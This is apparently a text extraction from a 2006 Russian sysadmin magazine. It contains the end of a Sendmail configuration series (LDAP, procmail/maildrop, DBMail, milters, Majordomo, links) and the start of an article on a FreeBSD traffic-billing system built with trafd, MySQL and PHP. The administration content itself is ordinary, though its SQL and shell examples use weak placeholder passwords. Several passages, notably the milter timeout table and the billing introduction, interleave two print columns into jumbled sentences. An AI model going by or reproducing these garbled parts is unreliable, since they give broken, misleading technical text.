Любая статистика может быть получена напрямую из базы данных, с помощью обычного SQL-запроса. Кроме того, вы можете использовать все преимущества реляционных баз, такие как резервирование, размещение на отдельном сервере, кластеризация (хотя применительно к поддерживаемым в настоящее время СУБД её реализация требует некоторых дополнительных усилий; см., например, статью Андрея Тренина «Создаём кластер для PostgreSQL» (№1 за 2006 г.). Помимо Sendmail поддерживаются практически все популярные MTA.
бавить в mc-файл директивы, указывающие, что следует использовать LDAP: define(`confLDAP_DEFAULT_SPEC', `-h ldap.your.domain.ru ↵ -b dc=your,dc=domain,dc=ru') FEATURE(`access_db', `LDAP') define(`ALIAS_FILE', `ldap:')
Первая строка задаёт параметры LDAP-сервера, второй мы указываем, что вместо /etc/mail/access следует использовать службу каталогов, третьей строкой аналогично указываем использовать LDAP для определения псевдонимов.
Альтернативные LDA Sendmail позволяет подключать практически любую программу в качестве локального агента доставки, естественно, при условии, что эта программа будет «вести себя как LDA» (помните? – «если это выглядит как утка, крякает как утка и ходит как утка, то это – утка»). Благодаря этому у нас есть возможность довольно сильно влиять на то, как почта будет сохраняться. Поэтому не удивительно, что помимо стандартного для FreeBSD mail.local разработано большое число «альтернативных» агентов доставки. Прежде всего вспоминается очень мощная программа procmail, предоставляющая широчайшие возможности по обработке почты, до того как она попадёт в почтовый ящик пользователя. Её порой так активно используют для борьбы со спамом, что письмо в принципе может вообще не попасть к пользователю. Недаром во многих дистрибутивах Linux именно она работает в паре с Sendmail по умолчанию. Чтобы воспользоваться его преимуществами, достаточно подключить этот LDA (директивой MAILER(procmail), соответствующий m4-файл входит в стандартную поставку Sendmail) и указать в mailertable использование этого LDA для нужных доменов: your.domain
procmail
Второй вариант – включить в mc-файл директиву FEATURE(`local_procmail’), которая даст указание использовать procmail в качестве стандартного LDA (объявленного как local).
29
администрирование рая – для работы по протоколу LMTP. То есть почта, для обработки которой будет указан соответствующий агент доставки, будет передаваться демону dbmail, который и займётся всем остальным. При необходимости можно использовать и оба агента одновременно. Правда, при установке из портов файл dbmail.m4 нигде не появился, и его либо придётся создать самому, подкорректировав один из имеющихся шаблонов (например, procmail.m4), либо найти готовый (например, здесь: http://www.dbmail.org/dokuwiki/ doku.php?id=sendmail_howto). Вторая задача (чтобы Sendmail знал, для какой почты следует использовать тот или иной LDA) – настройка mailtertable для использования этого LDA: Рисунок 1. Схема прохождения сообщений
Далее, если вы хотите просто перейти на использование хранилища формата Maildir вместо стандартного mailbox, то в качестве LDA можно подключить, например, программу maildrop: FEATURE(`local_procmail', `/usr/local/bin/maildrop', ↵ `maildrop -d $u')
Здесь мы воспользовались той же самой директивой, только вместо пути к procmail указали нужный нам. Кстати, если procmail у вас установлен нестандартно (т.е. не в /usr/local/bin), то и для его подключения потребуется указывать полный путь. Естественно, для полноценной работы с Maildir ваш POP3/ IMAP-сервер тоже должен уметь работать с этим форматом, впрочем, это уже совсем другая история…
Следующий шаг к совершенству – DBMail Для полного счастья хорошо бы ещё добавить гибкости почтовым ящикам пользователей. Одно из решений – использовать для их хранения реляционную СУБД, что и реализуется проектом DBMail. Подробно о DBMail здесь мы говорить не будем (этот пакет с успехом может применяться не только в связке с Sendmail, но и с другими популярными MTA). Некоторая общая информация представлена во врезке «DBMail». Также обратитесь к статье Евгения Прокопьева «Почтовый сервер на основе реляционной СУБД» (№1 за 2006 г.), где работа DBMail освещена очень детально. Поскольку размещение входящей корреспонденции по почтовым ящикам пользователей не является функцией MTA (как вы помните из первой части статьи, этим занимается агент локальной доставки (LDA)), то с точки зрения Sendmail его логика обработки сообщений совершенно не меняется. Всё что требуется – это зарегистрировать DBMail в качестве LDA и дать указание Sendmail использовать именно его для доставки входящей корреспонденции, как мы это делали для procmail. Первая задача решается одной из следующих директив в mc-файле: MAILER(dbmail) MAILER(dbmail-lmtp)
Первая строка подключает DBMail в качестве LDA, работающего обычным образом (по конвейеру (pipe)), вто-
30
your.domain other.domain
dbmail dbmail-lmpt:[127.0.0.1]
Естественно, вы можете указать использование dbmail только для необходимых доменов. Не забудьте всё пересобрать и перезагрузить процесс sendmail, чтобы изменения вступили в силу. Думаю, можно также безболезненно воспользоваться тем же приёмом, которым мы подключали maildrop (т.е. создав видимость, что наш dbmail – это procmail, и воспользовавшись готовыми шаблонами для этого LDA). Правда, на практике это не испытывал.
Расширенные возможности фильтрации Очень широкие возможности для обработки сообщений предоставляют появившиеся в версии 8.11.6 (неофициально – с 8.10) почтовые фильтры, или «мильтеры» (milter, аббревиатура от Mail fILTER). Почтовые фильтры широко применяются для взаимодействия с такими программами, как антивирусы, спамфильтры и т. д. То есть они, по сути, предоставляют возможность «заворачивать» обрабатываемое сообщение сторонней программе через сетевой или UNIX-сокет. Кстати говоря, использование для взаимодействия сокетов позволяет размещать программу-фильтр на другой машине в сети, что в ряде случаев может быть полезно для централизации обработки или для снижения нагрузки на основной сервер, если фильтрация требует существенных вычислительных ресурсов или создаёт большую нагрузку на дисковую подсистему. Но нельзя забывать и о дополнительных задержках в этом случае, равно как и о безопасности передаваемой по сокету информации. Фильтр позволяет контролировать обработку письма начиная с момента установления соединения с удалённым сервером и до полного его получения. В любой момент обработка может быть прервана с помощью одного из флагов возврата: ACCEPT (принять сообщение), REJECT (отклонить с уведомлением об этом отправителя) или DISCARD (отбросить без каких-либо уведомлений). То есть, скажем, если необходимость отклонить сообщение будет выявлена на ранних стадиях сеанса, например, на основе информации, помещённой в заголовок, то это можно будет сделать до того, как письмо будет принято полностью. Ещё один пример использования такой возможности – приём сообщения (ACCEPT) без проверки всех вложений на вирусы, если в заголовке будет обнаружена строка, информирую-
администрирование Флаги тайм-аутов щая о том, что такая проверка уже выполнялась сервером отправителя (хотя всецело доверять таким заголовкам, ко- Флаг Описание нечно же, не стоит). C Задержка при соединении с фильтром Помимо решения о том, принять или отклонить сообE Задержка при ожидании подтверждения полной передачи щение, milter позволяет вносить изменения в тему или теR Задержка при ожидании ответа фильтра ло сообщения, добавлять строки в заголовок, и т. д. БлаЗадержка передачи данных фильтру годаря этому можно, например, поместить в заголовок ин- S формацию о выполненной антивирусной проверке или оставить пометку, что письмо признано вероятным спамом. вать фильтры на родном для Sendmail языке C (в списке Именно так поступают многие антивирусные и антиспамо- дополнительной литературы вы найдёте ссылку на пример разработки milter для дублирования исходящей почвые пакеты. Условно схема прохождения письма через подключен- ты на некоторый адрес). Существуют «привязки» к этоные фильтры показана на рис. 1. Фильтров может быть му API для других языков программирования, например, сколь угодно много (реальное ограничение накладывает- для Perl (модуль Sendmail::Milter, в коллекции портов – ся лишь нагрузкой на систему и требованиями к допусти- mail/p5-Sendmail-Milter) и Python (интерфейс Python Milter, мой задержке при обработке сообщений). Порядок приме- в Портах – mail/py-milter). Прекрасный пример разработки нения фильтров определяется порядком их подключения фильтра на Python рассматривался в статье Романа Сузи «Почтовый фильтр, или Milter = Mail + Filter» (№2 за 2003 г., в конфигурационном файле. Кстати, о конфигурации... Подключается milter такой статью вы можете найти на сайте журнала в разделе «Статьи».). директивой: INPUT_MAIL_FILTER(`clmilter', ↵ `S=local:/var/run/clamav/clmilter.sock, ↵ F=, T=S:4m;R:4m')
Первым аргументом передаётся имя фильтра, вторым – строка параметров. Параметра может быть три: S, который задаёт используемый сокет (может быть local и inet); F, определяющий, как поступать с письмом в случае проблем с milter (F=T означает возвращать отправителю временную ошибку (temporary fail), F=R – отбросить (reject) соединение, пустое значение F= даёт указание игнорировать проблемы с milter и обрабатывать соединение без фильтрации); T задаёт несколько тайм-аутов (см. таблицу), по истечении которых фильтр будет признан «неотвечающим». В нашем примере, если clamav-milter не начнёт принимать сообщение от Sendmail в течение четырёх минут или не даст ответ в течение такого же времени, то сообщение будет передано на дальнейшую обработку без фильтрации. Вместо указанной выше директивы можно подключать фильтры и таким образом: MAIL_FILTER(`miltergreylist', ↵ `S=local:/var/milter-greylist/milter-greylist.sock, ↵ F=, T=S:4m;R:4m')dnl define(`confINPUT_MAIL_FILTERS', `miltergreylist')
Здесь процедура подключения фильтра разделена на два этапа – первой директивой мы объявляем milter с указанными параметрами, второй – регистрируем указанный milter как фильтр для обработки сообщений. Если по такой схеме требуется подключить несколько почтовых фильтров, то директива define нужна только одна, в которой через запятую перечисляются все регистрируемые фильтры в нужном порядке. Нужно сказать, что для разработки milter существует прекрасный API, позволяющий довольно быстро созда-
№8, август 2006
Списки рассылки Электронная почта широко используется в самых различных формах. Конечно, если говорить о ведении групповых дискуссий, то есть и более удобные средства: IRC, службы новостей (NNTP), веб-форумы, наконец. Несмотря на это, списки рассылки по электронной почте до сих пор остаются довольно популярным способом обсуждения тех или иных проблем. Очень многие открытые проекты (например, FreeBSD.org, ALT Linux) используют рассылки для оказания технической поддержки своим пользователям, для обсуждения новых возможностей тестовых версий, для уведомлений об обнаруженных проблемах безопасности… Одной из наиболее известных систем управления списками рассылки является программа Majordomo. Она очень хорошо интегрируется с серверами Sendmail и обладает достаточным набором функций для работы с рассылками. Установка из коллекции портов никаких сложностей не вызывает, за исключением одного небольшого нюанса: начиная с FreeBSD 5.x Perl не является частью системы и должен устанавливаться из портов, т.е. размещается в /usr/local/bin. Однако порт Majordomo по-старинке хотел видеть /usr/bin/perl. Пришлось ставить ссылку (хотя можно, конечно, и Makefile подправить): # ln /usr/local/bin/perl /usr/bin/perl
После этого вам нужно будет указать, какой MTA будет использоваться (см. рис. 2; наш выбор, думаю, очевиден). После непродолжительной компиляции мы получим немного нестандартную для FreeBSD схему размещения файлов: «бинарники» и файлы конфигурации будут располагаться в /usr/local/majordomo. Наиболее важны здесь два конфигурационных файла – majordomo.cf, где можно изменить базовые настройки, и aliases.majordomo, содержащий настроенный набор псевдонимов, с помощью которых будет работать Majordomo. Принцип взаимодействия этого пакета с Sendmail достаточно прост и основан на псевдонимах. Например, сообще-
31
администрирование
Рисунок 2. Диалог выбора MTA для Majordomo
ние, поступающее на адрес majordomo@your.domain.ru будет перенаправлено программе /usr/local/majordomo/wrapper и обработано в соответствии с настройками списка. Для того чтобы Majordomo начал работать, нужно подключить к Sendmail его файл псевдонимов (хотя можно и просто скопировать нужные строки в /etc/mail/aliases): define(`ALIAS_FILE', `/etc/mail/aliases, ↵ /usr/local/majordomo/aliases.majordomo')
Всё – Majordomo готов к работе. Отправив письмо с командой «lists» в теле на свой домен на адрес majordomo, вы получите информацию о доступных списках рассылки (по умолчанию там будет test-l и test-l-digest). По образу и подобию вы можете создавать собственные списки, для чего нужно создать пустой файл, соответствующий имени рассылки, в /usr/local/majordomo/lists, а также в aliases.majordomo ввести псевдонимы для самой рассылки, команд, адресов владельцев и т. д. – пример можно посмотреть для того же демо-списка, test-l. Дальнейшее администрирование может выполняться через электронную почту. Например, чтобы поэкспериментировать со списком test-l, первым делом рекомендуется сменить пароль администратора, послав на адрес test-l-request письмо в фразой «passwd test-l test mynewpas», где test-l – имя списка, для которого меняется пароль, test – старый пароль (используется по умолчанию), mynewpas – новый пароль. В случае удачи вы получите письмо с сообщением «Password changed». Впрочем, работа со списками рассылок – это уже другая тема, и здесь не будем вдаваться в подробности. Тем более что к вашим услугам – отличная страница справки, man majordomo.
Подводная часть айсберга На этом, пожалуй, и завершим наше знакомство с Sendmail. Естественно, даже в пределах столь объёмного цикла невозможно охватить все аспекты работы этого мощного пакета. Поэтому в заключение я решил привести список ссылок (тоже далеко не полный), по которым можно получить дополнительную информацию. На этом всё! Удачи!
Sendmail 1. Основной сайт проекта с полезной документацией – http:// www.sendmail.org.
32
2. Электронная версия 3-го издания «Bat Book» издательства O’Reilly – http://hell.org.ua/Docs/oreilly/other2/Sendmail_3rd. 3. Система электронной почты на основе LINUX. Руководство администратора – http://kazna.pl.ua/sysadmins/orel/chap1.htm. 4. 25 статей по различным аспектам настройки Sendmail с использованием m4 – http://vk.pp.ru/docs/sendmail/m4. 5. Настройка почтового сервиса на основе Sendmail – http:// www.uinc.ru/articles/31. 6. Андрей Шетухин. Настраиваем Sendmail для виртуального почтового хостинга. – http://reki.ru/sendmail_setup.html. 7. Андрей Шетухин. Настраиваем Sendmail в качестве транзитного почтового релея. – http://reki.ru/sendmail_transit_setup.html. 8. Андрей Шетухин. Фильтрафия спама в sendmail. – http://reki. ru/spam-filtering.html. 9. Хорошая подборка различных статей – http://kazna.pl.ua/ sysadmins/sendmail.html.
Аутентификация 1. RFC 2554 (Расширение SMTP сервиса для аутентификации) – http://www.tigir.com/rfc2554.html. 2. SMTP AUTH in sendmail 8.10-8.13 – http://www.sendmail.org/~ca/ email/auth.html. 3. Руководство FreeBSD. 24.10 SMTP аутентификация – http://www. freebsd.org/doc/ru_RU.KOI8-R/books/handbook/smtp-auth.html. 4. Аутентификация в sendmail – http://openbsd.hnet.spb.ru/sasl.html. 5. Использование SMTP-AUTH в FreeBSD на базе MTA Sendmail-8.13.x – http://unix1.jinr.ru/~lavr/sendmail+sasl2. 6. Аутентификация пользователей – http://www.opennet.ru/docs/ RUS/Cyrus_imap/install-auth.html. 7. Аутентификация SMTP: sendmail + SASL + LDAP – http:// avdor.irkutsk.ru/faq/article.php?show_id=335.
LDAP 1. Арсений Чеботарёв, LDAP: каталог д ля всех – http:// www.citforum.ru/operation_systems/linux/ldap_cat. 2. В с е в ол од С та хо в, LDAP- H OW TO п о - рус с к и – ht tp: / / www.ldapzone.spb.ru/docs/ldap_art.phtml. 3. Всеволод Стахов, Sendmail + LDAP FAQ – http://www.ldapzone. spb.ru/docs/sendmail_ldap.phtml. 4. Андрей Афлетдинов, Сохраняем настройки Sendmail в директориях LDAP – http://www.opennet.ru/docs/RUS/mail2ldap.
Milter API 1. Официальный сайт, посвящённый Milter API (здесь же можно найти огромный архив готовых фильтров на все случаи жизни) – http://www.milter.org. 2. Роман Сузи, Почтовый фильтр, или Milter = Mail + Filter – http:// www.samag.ru/art/02.2003/02.2003_06.pdf. 3. Пример milter на языке C для дублирования исходящей почты – http://www.opennet.ru/base/met/mail_copy_milter.txt.html.
Прочие 1. Основной сайт проекта DBMail – http://www.dbmail.org. 2. DBMail Documentation – http://www.helgrim.com/dbmaildocs/ installation.html. 3. SMTP STARTTLS в sendmail/Secure Switch – http://linuxnews.ru/ docs/new/starttls.html. 4. Majordomo and MajorCool HOWTO – http://www.opennet.ru/docs/ HOWTO/Majordomo-MajorCool-HOWTO.
администрирование
Биллинг на FreeBSD: пишем сами, используя PHP, trafd и MySQL
Александр Чагадаев Если пользователи жалуются, что Интернет «тормозит», а начальство ругается, что счета от провайдера слишком большие, покупка готового биллинга – не единственный выход. В настоящее время большинство юри- ми и специальным образом настро- мой большой опыт работы с ним; дических лиц – пользователей Интер- енной (включён сервис NAT) сетевой наличие очень удобного инструнета – оплачивают услуги исходя из ко- ОС (FreeBSD, Linux, Windows, Solaris мента IBExpert (http://www.ibexpert. com). личества принятого (и/или переданно- и т. д.). Или же это может быть специго) трафика. ально разработанное устройство (неПротив: Для небольших организаций плата редко также использующее одну из пеза трафик не является такой уж незна- речисленных выше ОС). Возможны работа текущей на тот момент верчительной, и остро встаёт вопрос учета и другие варианты, я рассмотрю насии (1.5) только из-под inetd. На сертрафика, израсходованного конкрет- иболее распространенный. вере этот демон не использовался В своё время передо мной была и поднимать его только ради билным пользователем, и целей, на которые этот трафик был потрачен. Проще именно такая задача – учёт и огранилинга не хотелось; говоря, руководству организации нуж- чение трафика. В качестве роутера ис- поддержка транзакций, обеспечивана информация о посещённых сайтах пользовался ПК с 2 сетевыми картающих большую надёжность в ущерб в случае использования протокола http, ми и установленной ОС FreeBSD. Нескорости, что для нашей системы скачанных файлах в случае использо- смотря на кажущуюся распространёнсовершенно неоправданно. вания протокола ftp и т. д. Причём неко- ность – почти банальность – задачи, В конечном счёте, я остановился торых сотрудников бывает сложно убе- полностью устраивающее готовое редить, что большой трафик – результат шение найти не удалось. (Рассмат- на MySQL (4-я или 5-я версии, но, дуих собственных действий, если не пре- ривались только бесплатные систе- маю, будет работать и с 3-й). Язык программирования для обдоставить подробного списка ресурсов мы.) В результате было принято рес данными о трафике. шение писать собственную биллинго- щения с базой данных – PHP, за C-поПо тем или иным причинам (забота вую систему. добный синтаксис, возможность исорганизации об информационной бепользования программ на нём как просто в системе, так и внутри HTMLзопасности, дефицит реальных IP-ад- Используемое ПО ресов у провайдера) подключение Для сбора трафика используется BPFT страниц. внутренней ЛВС организации к Ин- (http://bpft4.sourceforge.net). Систетернету обычно происходит через ро- ма построена на основе библиотеки Система учёта IP-трафика утер, установленный на границе меж- libpcap и использует механизм BPF Функционально в системе биллинду внутренней ЛВС организации и Ин- (Berkley Packet Filter «pseudo-device») га можно условно выделить три модудля захвата IP-трафика. тернетом. ля: учёт трафика, вывод информации При выборе СУБД я выбирал между об учтённом трафике и модуль разреВ качестве роу тера может использоваться ПК с 2 сетевыми карта- MySQL и Firebird. За Firebird было: шения/запрещения пользования Интер-
34
администрирование Что такое adc_billing Назначение: система биллинга IP-трафика. Возможности: Единая база данных по IT-ресурсам предприятия: ФИО пользователей, IP-адреса и названия их компьютеров, лимиты на пользование Интернетом, любые другие данные. Любой пользователь может самостоятельно просмотреть свою статистику. Подсчёт IP (TCP/UDP)-трафика. Встроенные отчёты для администратора: суммарное количество байт, переданных с каждого и принятых на каждый из IP-адресов контролируемой сети и принятых на IP-адрес контролируемой сети с группировкой по IP-адресам внешней сети за произвольный промежуток времени; список IP-адресов контролируемой сети с количеством байт, переданных с каждого и принятых на каж-
дый из них за произвольный промежуток времени; список IP-адресов контролируемой сети с количеством байт, переданных с каждого и принятых на каждый из них за текущий месяц и сегодняшний день. Отключение IP-адресов от Интернета согласно месячной таблице лимитов. Легкость расширения системы (новые отчёты, новые модули) благодаря прозрачной структуре таблиц и используемого языка программирования – PHP. Недостатки:
Аутентификация пользователей производится только по IP-адресам. Никак не контролируется возможная смена пользователем IP-адреса. Эта особенность, если в конкретном случае она является недостатком, может быть устранена: нужно добавить в таблицу IP поле «MAC-адрес» и написать маленький скрипт, в котором отключается автоматическое присваивание соот-
нетом. Поскольку данные в таблицы пишет первый из этих модулей, начнём раздел с описания структуры таблиц.
Структура таблиц Создадим базу данных с именем traffic. В базе создадим две таблицы: Ip – данные о IP-адресе и Log – данные о трафике. Назначение полей этих таблиц понятно из их названий. Также создадим двух пользователей, имеющих право подсоединяться к базе данных только с локального компьютера: insert_user – пользователь, который имеет право только добавлять данные в базу и view_user – пользователь, который имеет право только читать данные из базы. Пароли, конечно же, только для статьи – при инсталляции системы рекомендуется сгенерировать более стойкие к взлому. Файл create_db_&_users_&_tables.sql CREATE DATABASE traffic DEFAULT CHARACTER SET koi8r DEFAULT COLLATE koi8r_general_ci; GRANT INSERT ON traffic.* TO 'insert_user'@'localhost' ↵ IDENTIFIED BY '123456789'; GRANT SELECT ON traffic.* TO 'view_user'@'localhost' ↵ IDENTIFIED BY '987654321'; USE traffic; CREATE TABLE Ip ( IP VARCHAR(15) NOT NULL PRIMARY KEY, QUOTA INTEGER, PCNAME VARCHAR(100), FNAME VARCHAR(100), MNAME VARCHAR(100), LNAME VARCHAR(100), EMAIL VARCHAR(200), INDEX(IP) ) ENGINE = MyISAM; CREATE TABLE Log ( NN INTEGER(12) UNSIGNED AUTO_INCREMENT ↵ NOT NULL PRIMARY KEY, IP_FROM VARCHAR(15) NOT NULL, IP_TO VARCHAR(15) NOT NULL,
№8, август 2006
ветствия MAC и IP-адресов и происходит принудительное присваивание соответствия MAC и IP-адресов для протокола ARP (т.н. статический ARP). По указанной выше причине в текущей реализации невозможна работа на одном ПК нескольких пользователей, у каждого из которых установлен собственный лимит. Поскольку на самостоятельную добровольную смену IP-адреса пользователем рассчитывать особенно не приходится, представляется возможным реализовать смену адреса с помощью скрипта. Текущие SQL-запросы рассчитаны на использование только одной внутренней подсети. Отсутствует специальный HTML-интерфейс для редактирования данных (в т. ч. лимитов) пользователей; редактирование происходит путём непосредственного изменения данных в БД. Этот недостаток легко устраним путём написания соответствующего модуля.
SRC_PORT VARCHAR(5) NOT NULL, DEST_PORT VARCHAR(5) NOT NULL, PROTO VARCHAR(4) NOT NULL, DATA_BYTES INTEGER NOT NULL, ALL_BYTES INTEGER NOT NULL, FIRST_TIME TIMESTAMP NOT NULL, LAST_TIME TIMESTAMP NOT NULL, INDEX(IP_FROM), INDEX(IP_TO), INDEX(SRC_PORT), ↵ INDEX(DEST_PORT), INDEX(PROTO), INDEX(ALL_BYTES), ↵ INDEX(FIRST_TIME), INDEX(IP_FROM,FIRST_TIME), ↵ INDEX(IP_TO,FIRST_TIME) ) ENGINE = MyISAM ROW_FORMAT = fixed;
Как видно из скрипта create_db_&_users_&_tables.sql, в качестве формата базы был выбран – MyISAM, который обеспечивает большую скорость работы за счёт отсутствия транзакций. Параметр ROW_FORMAT определяет, каким образом должны храниться строки в файле базы данных. Задавая этому параметру значения fixed, мы предписываем MySQL под каждую переменную типа VARCHAR выделять не реально занимаемое её значением место, а максимально возможное. Например, если мы при создании базы определили поле IP_TO как VARCHAR(15), то независимо от длины помещённых в него данных, оно всегда будет занимать 15 байт. Хотя из-за этого файл базы данных будет занимать больше места, нам в этой ситуации важнее, что операции с базой будут проходить несколько быстрее.
Настройка ОС FreeBSD Ядро системы FreeBSD должно включать поддержку pseudo-device BPF, для чего в файле конфигурации adc-kernel должна присутствовать строка: # The `bpf' device enables the Berkeley Packet Filter. device bpf #Berkeley packet filter
35
администрирование Я рекомендовал бы устанавливать trafd, MySQL, PHP и прочее программное обеспечение из портов (как и любой софт под FreeBSD, кроме cvsup). Примечание: порт net/cvsup зависит от системы Modula-3, которой потребуется существенный объем времени и пространства на диске для загрузки и установки, поэтому обычно автор устанавливает cvsup из пакетов.
Настройка trafd Настройка основных параметров trafd осуществляется в файле rc.conf, как и должно быть у всякого порядочного демона для системы FreeBSD. trafd_enable="YES" trafd_ifaces="rl0 xl0" trafd_flags="-p -r" trafd_pid="/var/run/trafd"
Полезна возможность пакета программ trafd, позволяющая существенно сэкономить усилия при написании биллинга, который в качестве анализатора трафика использует trafd – не надо писать свой парсер логов. В состав пакета программ trafd входит утилита traflog, которая может экспортировать данные по трафику в любой текстовой файл в соответствии с форматом, заданным в её конфигурационном файле – traflog.format. В traflog.format был прописан формат sql-команды insert для нашей базы.
Альтернативные варианты биллинга использования Интернета Первый: proxy-сервер. Давать пользователям доступ в Интернет только через proxy-сервер Squid, без использования NAT. Преимущества: широкие возможности аутентификации; очень гибкая возможность ограничения доступа к определённым ресурсам; наличие в свободном доступе в Интернете обновляемых баз ресурсов порнографического/эротического, развлекательного и т. п. характера; полный протокол всех посещенных пользователем страниц (а не только серверов, как в случае протоколирования TCP-трафика) c указанием даты, времени и количества байт; возможность блокировки рекламных баннеров, что позволяет тем самым экономить трафик как организации, так и пользователям; кэш единож ды загруженных страниц, позволяющий экономить трафик при посещении одним пользователем ресурса, который уже смотрел другой;
36
my_sql { from:"insert into Log (ip_from,ip_to,src_port, ↵ dest_port,proto,data_bytes,all_bytes,first_time, ↵ last_time) values('%s'," to:"'%s'," sport:"'%s'," dport:"'%s'," proto:"'%s'," bytes:"%ld, " psize:"%ld, " ftime:"'%y-%m-%d %T'," ltime:"'%y-%m-%d %T');\n" };
Командные файлы Были написаны два командных файла для связки trafd и MySQL: trafd_dump.sh и trafd_to_mysql.sh. Краткое описание выполняемых действий: trafd_dump.sh даёт команду trafd скинуть данные по трафику на всех прослушиваемых им интерфейсах во временные файлы. Информация об успехе или неуспехе подачи команды сохраняется в syslogd. Файл trafd_dump.sh #!/bin/sh . /etc/rc.conf for iface in ${trafd_ifaces}; do if [ -f ${trafd_pid}.${iface} ]; then kill -INT `cat ${trafd_pid}.${iface}` logger -t trafd_dump "signaling trafd on ${iface} ↵
наличие мощной и гибкой системы построения отчётов и несложного биллинга SARG (Squid Analysis Report Generator) (http://sarg.sourceforge.net). Недостатки:
не все программы поддерживают работу через proxy-сервер;
невозможность отключения пользователя сразу при превышении им установленного лимита трафика. Второй: NeTAMS. Использовать биллинговую систему NeTAMS (http://www. netams.com) – очень мощную и гибкую, поддерживающую множество методов сбора информации о трафике (tee, divert, ip_queue, ulog, libpcap, netflow v5, netflow v9, netgraph) и её хранения (MySQL, PostgreSQL). Единственный недостаток – отсутствие подробной статистики посещённых пользователем ресурсов. То есть для этой системы это, наверное, и не недостаток – у неё несколько другие задачи, в первую очередь сбор информации о трафике с сетевых устройств фирмы Cisco, а для моего случая это недостаток. Третий: VPN или PPPoE. Доступ в Интернет можно предоставлять через VPN или PPPoE-подключение к роутеру. Для на-
шего случая при отсутствии видимых плюсов, оказалось много минусов: переучивание пользователей процедуре подсоединения к Интернету; перенастройка всех компьютеров пользователей; освоение отдельной большой темы системным администратором (возможно, его придётся отправлять на курсы повышения квалификации, возможно, он освоит это сам, но в любом случае, больше знания/умения – больше заработная плата; в случае ухода – дороже нанять нового); усложнение системы (а значит, снижение надёжности – это аксиома) из-за наличия и связывания большего количества программ на роутере – на сервер придётся установить большое количество дополнительно программного обеспечения (за найденными уязвимостями и выпущенными обновлениями для которого тоже необходимо следить); дополнительная нагрузка на сервер за счёт использования дополнительного программного обеспечения; дополнительная нагрузка на сетевую инфраструктуру предприятия из-за увеличения объёма трафика за счёт шифрования.
администрирование dump to file" else logger -t trafd_dump "trafd on ${iface}: ↵ file ${c_pid} not found (trafd don't listen ↵ on ${iface}?)" fi
done
Trafd_to_mysql.sh импортирует данные по трафику на всех прослушиваемых trafd интерфейсах из временных файлов, созданных trafd_dump.sh, в базу MySQL. Информация об успехе или неуспехе подачи команды сохраняется в syslogd.
Рисунок 1. Интерфейс биллинговой системы, каким его видит пользователь
Файл trafd_to_mysql.sh #!/bin/sh . /etc/rc.conf for iface in ${trafd_ifaces}; do if [ -f /var/trafd/trafd.${iface} ]; then logger -t trafd_to_mysql "inserting traffic data ↵ for ${iface} into mysql" /usr/local/bin/traflog -a -o my_sql -n -i ↵ /var/trafd/trafd.$iface | ↵ /usr/local/bin/mysql -u insert_user ↵ -p123456789 traffic rm /var/trafd/trafd.$iface else logger -t trafd_to_mysql "failed to insert ↵ traffic data for ${iface} into mysql: ↵ file /var/trafd/trafd.${iface} not found" fi done
Рисунок 2. Интерфейс администратора сразу после загрузки страницы
Эти два файла должны регулярно запускаться. Насколько регулярно – зависит от интенсивности трафика на роутере. Для наших условий нормально делать это каждые пять минут. Прописываем в /etc/crontab: */5
* * * * root ↵ /usr/home/root/sbin/trafd_dump.sh && sleep 30 && ↵ /usr/home/root/sbin/trafd_to_mysql.sh
Веб-интерфейс системы учёта трафика Просмотр статистики – как пользователем, так и администратором – производится через веб-интерфейс (выполнен в виде HTML-страниц с кодом на языке PHP внутри) любым браузером. При открытии в браузере ресурса, который размещён по назначенному администратором для страницы статистики адресу, пользователь сразу видит имеющуюся в базе данных информацию об IP-адресе, с которого он зашел на страницу статистики (см. рис. 1). Администратор открывает страницу admin.htm, находящуюся в том же каталоге, что и интерфейс пользователя, или в другом – по его желанию. Защита интерфейса администратора от несанкционированного доступа может быть реализована различными способами. Например, если в качестве веб-сервера используется Apache, можно воспользоваться файлами .htaccess и .htpasswd. Экран администратора разделён на две части: в верхней – меню, в нижней – таблица с результатами запроса. Сразу при открытии показывается таблица трафика за сегодняшний день и за текущий месяц (см. рис. 2).
№8, август 2006
Рисунок 3. Список, выдаваемый в результате нажатия на кнопку «Список IP-адресов сети + входящий и исходящий трафик»
В выпадающих списках «Период» задаётся период, по которому мы хотим получить информацию. Кнопка «Список IP-адресов сети + входящий и исходящий трафик» – выводит полную информацию обо всех имеющихся в базе данных IP-адресах внутренней сети, а также количество входящего и исходящего трафика для каждого из них за указанный период (см. рис. 3). Кнопка «Подробная для IP-адреса» – выводит список всех входящих и исходящих соединений для IP-адреса, заданного в поле ввода с таким же названием. По сути, это просто дамп базы данных с отбором по заданному IP-адресу. Зелёным цветом обозначен входящий трафик, желтым – исходящий (см. рис. 4). Кнопка «Суммарная – по хостам – для IP-адреса» – выводит список всех входящих и исходящих соединений для IP-адреса, заданного в поле ввода с таким же названием. При этом для каждого IP-адреса из списка считается суммарный трафик, и таблица сортируется по убыванию. Зелё-
37
администрирование # ${iip} – внутренний IP-адрес роутера # # Disallow users access to our proxy ${fwcmd} add deny log ip from not table\(0\) to ${iip} 3128 # Disallow users to have Internet ${fwcmd} add deny log ip from not table\(0\) ↵ to any in via ${iif}
Чтобы биллинг запускался при старте системы, во-первых, нужно прописать в /etc/rc.conf: adc_billing_enable="YES"
Во-вторых, нужно создать в /usr/local/etc/rc.d/ файл adc_billing.sh с приведённым ниже содержанием: Рисунок 4. Подробная статистика для IP-адреса
1 : #!/bin/sh 2 : # PROVIDE: adc_billing 3 : # REQUIRE: mysql 4 : # KEYWORD: shutdown 5 : # Add the following lines to /etc/rc.conf to enable adc_billing: 6 : #adc_billing_enable="YES" 7 : . /etc/rc.subr 8 : name="adc_billing" 9 : rcvar=`set_rcvar` 10:command="/usr/home/root/sbin/adc_billing.php" 11: stop_cmd="adc_billing_stop" 12: adc_billing_enable=${adc_billing_enable:-"NO"} 13: adc_billing_stop() 14: { 15: echo 'Stopping '${name}'.' 16: }
Рисунок 5. Статистика для IP-адреса с группировкой по хостам, с которыми были соединения
ным цветом обозначен входящий трафик, желтым – исходящий (см. рис. 5.).
Биллинг Итак, мы установили и запустили в эксплуатацию два модуля системы биллинга из трех. Но учитывать и выводить информацию об использованном трафике недостаточно: полноценная система биллинга должна также содержать в себе лимиты входящего и исходящего трафика, задаваемые для каждого пользователя, и обеспечивать отключение соответствующего пользователя при превышении им допустимых лимитов. Ниже рассматривается вопрос написания и установки основного модуля системы биллинга, который служит этим целям.
